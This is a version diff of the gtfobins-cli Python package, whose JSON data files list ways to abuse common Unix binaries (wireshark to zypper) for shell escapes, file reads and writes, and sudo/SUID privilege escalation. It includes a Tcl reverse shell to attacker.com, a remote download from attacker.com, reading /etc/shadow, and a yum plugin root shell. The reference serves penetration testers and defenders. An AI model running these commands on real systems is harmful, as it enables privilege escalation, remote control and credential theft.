gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

gtfo/data/wireshark.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "command": [
+      {
+        "description": "This requires GUI interaction. Start Wireshark, then from the main menu, select \"Tools\" -> \"Lua\" -> \"Evaluate\". A window opens that allows to execute [`lua`](/gtfobins/lua/) code.\n",
+        "code": "wireshark\n"
+      }
+    ],
+    "sudo": [
+      {
+        "description": "This technique can be used to write arbitrary files, i.e., the dump of one UDP packet.\n\nAfter starting Wireshark, and waiting for the capture to begin, deliver the UDP packet, e.g., with `nc` (see below). The capture then stops and the packet dump can be saved:\n\n1. select the only received packet;\n\n2. right-click on \"Data\" from the \"Packet Details\" pane, and select \"Export Packet Bytes...\";\n\n3. choose where to save the packet dump.\n",
+        "code": "PORT=4444\nsudo wireshark -c 1 -i lo -k -f \"udp port $PORT\" &\necho 'DATA' | nc -u 127.127.127.127 \"$PORT\"\n"
+      }
+    ]
+  }
+}

gtfo/data/wish.json

@@ -2,19 +2,21 @@
   "functions": {
     "shell": [
       {
+        
         "code": "wish\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
       }
     ],
     "non-interactive-reverse-shell": [
       {
-        "description": "Run 'nc -lp [port]' on the attacker box to receive the shell.",
-        "code": "echo 'set s [socket [host] [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish\n"
+        "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
+        "code": "export RHOST=attacker.com\nexport RPORT=12345\necho 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish\n"
       }
     ],
     "sudo": [
       {
+        
         "code": "sudo wish\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
       }
     ]
   }
-}
+}

gtfo/data/xargs.json

@@ -3,33 +3,34 @@
     "shell": [
       {
         "description": "GNU version only.",
-        "code": "xargs -a /dev/null sh"
+        "code": "xargs -a /dev/null sh\n"
       },
       {
-        "code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'"
+        
+        "code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'\n"
       },
       {
-        "description": "Read interactively from 'stdin'.",
+        "description": "Read interactively from `stdin`.",
         "code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n"
       }
     ],
     "file-read": [
       {
-        "description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.",
-        "code": "xargs -a [file] -0\n"
+        "description": "This works as long as the file does not contain the NUL character, also a trailing `$'\\n'` is added. The actual `/bin/echo` command is executed. GNU version only.",
+        "code": "LFILE=file_to_read\nxargs -a \"$LFILE\" -0\n"
       }
     ],
     "suid": [
       {
         "description": "GNU version only.",
-        "code": "./xargs -a /dev/null sh -p"
+        "code": "./xargs -a /dev/null sh -p\n"
       }
     ],
     "sudo": [
       {
         "description": "GNU version only.",
-        "code": "sudo xargs -a /dev/null sh"
+        "code": "sudo xargs -a /dev/null sh\n"
       }
     ]
   }
-}
+}

gtfo/data/xdg-user-dir.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "xdg-user-dir '}; /bin/sh #'\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo xdg-user-dir '}; /bin/sh #'\n"
+      }
+    ]
+  }
+}

gtfo/data/xdotool.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "xdotool exec --sync /bin/sh\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "./xdotool exec --sync /bin/sh -p\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo xdotool exec --sync /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/xelatex.json

@@ -2,26 +2,29 @@
   "functions": {
     "shell": [
       {
+        
         "code": "xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
       }
     ],
     "file-read": [
       {
         "description": "The read file will be part of the output.",
-        "code": "xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
+        "code": "xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n"
       }
     ],
     "sudo": [
       {
         "description": "The read file will be part of the output.",
-        "code": "sudo xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n"
+        "code": "sudo xelatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n"
       },
       {
+        
         "code": "sudo xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
       }
     ],
     "limited-suid": [
       {
+        
         "code": "./xelatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
       }
     ]

gtfo/data/xetex.json

@@ -2,16 +2,19 @@
   "functions": {
     "shell": [
       {
+        
         "code": "xetex --shell-escape '\\write18{/bin/sh}\\end'\n"
       }
     ],
     "sudo": [
       {
+        
         "code": "sudo xetex --shell-escape '\\write18{/bin/sh}\\end'\n"
       }
     ],
     "limited-suid": [
       {
+        
         "code": "./xetex --shell-escape '\\write18{/bin/sh}\\end'\n"
       }
     ]

gtfo/data/xmodmap.json

@@ -1,19 +1,21 @@
 {
-  "description": "The read file content is corrupted by error prints.\n",
   "functions": {
     "file-read": [
       {
-        "code": "xmodmap -v [file]\n"
+        
+        "code": "LFILE=file_to_read\nxmodmap -v $LFILE\n"
       }
     ],
     "suid": [
       {
-        "code": "./xmodmap -v [file]\n"
+        
+        "code": "LFILE=file_to_read\n./xmodmap -v $LFILE\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo xmodmap -v [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo xmodmap -v $LFILE\n"
       }
     ]
   }

gtfo/data/xmore.json

@@ -1,19 +1,21 @@
 {
-  "description": "The file is displayed in a Xorg window, so it needs a working graphical environment.",
   "functions": {
     "file-read": [
       {
-        "code": "xmore [file]\n"
+        
+        "code": "LFILE=file_to_read\nxmore $LFILE\n"
       }
     ],
     "suid": [
       {
-        "code": "./xmore [file]\n"
+        
+        "code": "LFILE=file_to_read\n./xmore $LFILE\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo xmore [file]\n"
+        
+        "code": "LFILE=file_to_read\nsudo xmore $LFILE\n"
       }
     ]
   }

gtfo/data/xpad.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "file-read": [
+      {
+        
+        "code": "LFILE=file_to_read\nxpad -f \"$LFILE\"\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "LFILE=file_to_read\nsudo xpad -f \"$LFILE\"\n"
+      }
+    ]
+  }
+}

gtfo/data/xxd.json

@@ -2,23 +2,27 @@
   "functions": {
     "file-write": [
       {
-        "code": "echo DATA | xxd | xxd -r - [file]\n"
+        
+        "code": "LFILE=file_to_write\necho DATA | xxd | xxd -r - \"$LFILE\"\n"
       }
     ],
     "file-read": [
       {
-        "code": "xxd [file] | xxd -r\n"
+        
+        "code": "LFILE=file_to_read\nxxd \"$LFILE\" | xxd -r\n"
       }
     ],
     "suid": [
       {
-        "code": "./xxd [file] | xxd -r\n"
+        
+        "code": "LFILE=file_to_read\n./xxd \"$LFILE\" | xxd -r\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo xxd [file] | xxd -r\n"
+        
+        "code": "LFILE=file_to_read\nsudo xxd \"$LFILE\" | xxd -r\n"
       }
     ]
   }
-}
+}

gtfo/data/xz.json

@@ -2,18 +2,21 @@
   "functions": {
     "file-read": [
       {
-        "code": "xz -c \"[file]\" | xz -d\n"
+        
+        "code": "LFILE=file_to_read\nxz -c \"$LFILE\" | xz -d\n"
       }
     ],
     "suid": [
       {
-        "code": "./xz -c \"[file]\" | xz -d\n"
+        
+        "code": "LFILE=file_to_read\n./xz -c \"$LFILE\" | xz -d\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo xz -c \"[file]\" | xz -d\n"
+        
+        "code": "LFILE=file_to_read\nsudo xz -c \"$LFILE\" | xz -d\n"
       }
     ]
   }
-}
+}

gtfo/data/yarn.json

@@ -0,0 +1,20 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "yarn exec /bin/sh\n"
+      },
+      {
+        "description": "Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`.",
+        "code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nyarn --cwd $TF install\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo yarn exec /bin/sh\n"
+      }
+    ]
+  }
+}

gtfo/data/yash.json

@@ -0,0 +1,22 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "yash\n"
+      }
+    ],
+    "suid": [
+      {
+        
+        "code": "./yash\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo yash\n"
+      }
+    ]
+  }
+}

gtfo/data/yelp.json

@@ -3,8 +3,8 @@
     "file-read": [
       {
         "description": "This spawns a graphical window containing the file content somehow corrupted by word wrapping, it might not be suitable to read arbitrary files. The path must be absolute.",
-        "code": "yelp \"man:[file]\"\n"
+        "code": "LFILE=file_to_read\nyelp \"man:$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/yt-dlp.json

@@ -0,0 +1,24 @@
+{
+  "comment": "yt-dlp can execute a command via the --exec option. yt-dlp appends the downloaded filepath as an extra argument.",
+  "functions": {
+    "command": [
+      {
+        "code": "yt-dlp 'video url' --exec '/path/to/command #'\n",
+        "contexts": {
+          "unprivileged": {},
+          "sudo": {}
+        }
+      }
+    ],
+    "shell": [
+      {
+        "comment": "The executed command may receive the downloaded filepath as an extra trailing argument, commenting it out prevents it from breaking the command.",
+        "code": "yt-dlp 'video url' --exec '/bin/sh -ip #'\n",
+        "contexts": {
+          "unprivileged": {},
+          "sudo": {}
+        }
+      }
+    ]
+  }
+}

gtfo/data/yum.json

@@ -2,17 +2,17 @@
   "functions": {
     "file-download": [
       {
-        "description": "Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of '.rpm', the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in '/var/tmp', for example '/var/tmp/yum-root-cR0O4h/'.",
-        "code": "yum install http://[host]/[file]\n"
+        "description": "Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of `.rpm`, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp`, for example `/var/tmp/yum-root-cR0O4h/`.",
+        "code": "RHOST=attacker.com\nRFILE=file_to_get.rpm\nyum install http://$RHOST/$RFILE\n"
       }
     ],
     "sudo": [
       {
-        "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF",
+        "description": "It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n",
         "code": "sudo yum localinstall -y x-1.0-1.noarch.rpm\n"
       },
       {
-        "description": "Spawn interactive root shell by loading a custom plugin.",
+        "description": "Spawn interactive root shell by loading a custom plugin.\n",
         "code": "TF=$(mktemp -d)\ncat >$TF/x<<EOF\n[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF\nEOF\n\ncat >$TF/y.conf<<EOF\n[main]\nenabled=1\nEOF\n\ncat >$TF/y.py<<EOF\nimport os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n  os.execl('/bin/sh','/bin/sh')\nEOF\n\nsudo yum -c $TF/x --enableplugin=y\n"
       }
     ]

gtfo/data/zathura.json

@@ -0,0 +1,16 @@
+{
+  "functions": {
+    "shell": [
+      {
+        
+        "code": "zathura\n:! /bin/sh -c 'exec /bin/sh 0<&1'\n"
+      }
+    ],
+    "sudo": [
+      {
+        
+        "code": "sudo zathura\n:! /bin/sh -c 'exec /bin/sh 0<&1'\n"
+      }
+    ]
+  }
+}

gtfo/data/zcat.json

@@ -0,0 +1,10 @@
+{
+  "functions": {
+    "sudo": [
+      {
+        "description": "",
+        "code": "LFILE=\"/etc/shadow\" # or any other file\nsudo zcat -f \"$LFILE\"\n"
+      }
+    ]
+  }
+}

gtfo/data/zic.json

@@ -0,0 +1,20 @@
+{
+  "functions": {
+    "command": [
+      {
+        "description": "This executes system(''id' 0 'arg2''), and system(''id' 1 'arg2'').\nYou can also pass negative numbers, so the resulting command would look like system(''id' -1 'arg2'').",
+        "code": "echo \"Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -\" > zicfile\necho \"Zone Test 2:00 Jordan CE%sT\" >> zicfile\nzic -d . -y \"id\" ./zicfile"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "echo \"Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -\" > zicfile\necho \"Zone Test 2:00 Jordan CE%sT\" >> zicfile\nzic -d . -y \"id\" ./zicfile"
+      }
+    ],
+    "shell": [
+      {
+        "code": "echo \"Rule Jordan 0 1 arg2 Jan lastSun 2 1:00d -\" > zicfile\necho \"Zone Test 2:00 Jordan CE%sT\" >> zicfile\nzic -d . -y \"vi\" ./zicfile\n:!/bin/bash"
+      }
+    ]
+  }
+}

gtfo/data/zip.json

@@ -2,21 +2,25 @@
   "functions": {
     "file-read": [
       {
-        "code": "TF=$(mktemp -u)\nzip $TF [file]\nunzip -p $TF\n"
+        
+        "code": "LFILE=file-to-read\nTF=$(mktemp -u)\nzip $TF $LFILE\nunzip -p $TF\n"
       }
     ],
     "shell": [
       {
+        
         "code": "TF=$(mktemp -u)\nzip $TF /etc/hosts -T -TT 'sh #'\nrm $TF\n"
       }
     ],
     "sudo": [
       {
+        
         "code": "TF=$(mktemp -u)\nsudo zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF\n"
       }
     ],
     "limited-suid": [
       {
+        
         "code": "TF=$(mktemp -u)\n./zip $TF /etc/hosts -T -TT 'sh #'\nsudo rm $TF\n"
       }
     ]

gtfo/data/zless.json

@@ -0,0 +1,15 @@
+{
+  "functions": {
+    "inherit": [
+      {
+        "code": "zless /path/to/input-file",
+        "contexts": {
+          "sudo": null,
+          "suid": null,
+          "unprivileged": null
+        },
+        "from": "less"
+      }
+    ]
+  }
+}

gtfo/data/zsh.json

@@ -2,27 +2,32 @@
   "functions": {
     "file-read": [
       {
-        "code": "zsh -c 'echo \"$(<[file])\"'\n"
+        
+        "code": "export LFILE=file_to_read\nzsh -c 'echo \"$(<$LFILE)\"'\n"
       }
     ],
     "file-write": [
       {
-        "code": "zsh -c 'echo [data] >[file]'\n"
+        
+        "code": "export LFILE=file_to_write\nzsh -c 'echo DATA >$LFILE'\n"
       }
     ],
     "shell": [
       {
-        "code": "zsh"
+        
+        "code": "zsh\n"
       }
     ],
     "suid": [
       {
-        "code": "./zsh"
+        
+        "code": "./zsh\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo zsh"
+        
+        "code": "sudo zsh\n"
       }
     ]
   }

gtfo/data/zsoelim.json

@@ -1,20 +1,22 @@
 {
-  "description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.",
   "functions": {
     "file-read": [
       {
-        "code": "zsoelim \"[file]\"\n"
+        
+        "code": "LFILE=file_to_read\nzsoelim \"$LFILE\"\n"
       }
     ],
     "suid": [
       {
-        "code": "./zsoelim \"[file]\"\n"
+        
+        "code": "LFILE=file_to_read\n./zsoelim \"$LFILE\"\n"
       }
     ],
     "sudo": [
       {
-        "code": "sudo zsoelim \"[file]\"\n"
+        
+        "code": "LFILE=file_to_read\nsudo zsoelim \"$LFILE\"\n"
       }
     ]
   }
-}
+}

gtfo/data/zypper.json

@@ -2,21 +2,23 @@
   "functions": {
     "shell": [
       {
-        "description": "This requires '/bin/sh' to be copied to '/usr/lib/zypper/commands/zypper-x' and this usually requires elevated privileges.",
+        "description": "This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.",
         "code": "zypper x\n"
       },
       {
+        
         "code": "TF=$(mktemp -d)\ncp /bin/sh $TF/zypper-x\nexport PATH=$TF:$PATH\nzypper x\n"
       }
     ],
     "sudo": [
       {
-        "description": "This requires '/bin/sh' to be copied to '/usr/lib/zypper/commands/zypper-x' and this usually requires elevated privileges.",
+        "description": "This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges.",
         "code": "sudo zypper x\n"
       },
       {
+        
         "code": "TF=$(mktemp -d)\ncp /bin/sh $TF/zypper-x\nsudo PATH=$TF:$PATH zypper x\n"
       }
     ]
   }
-}
+}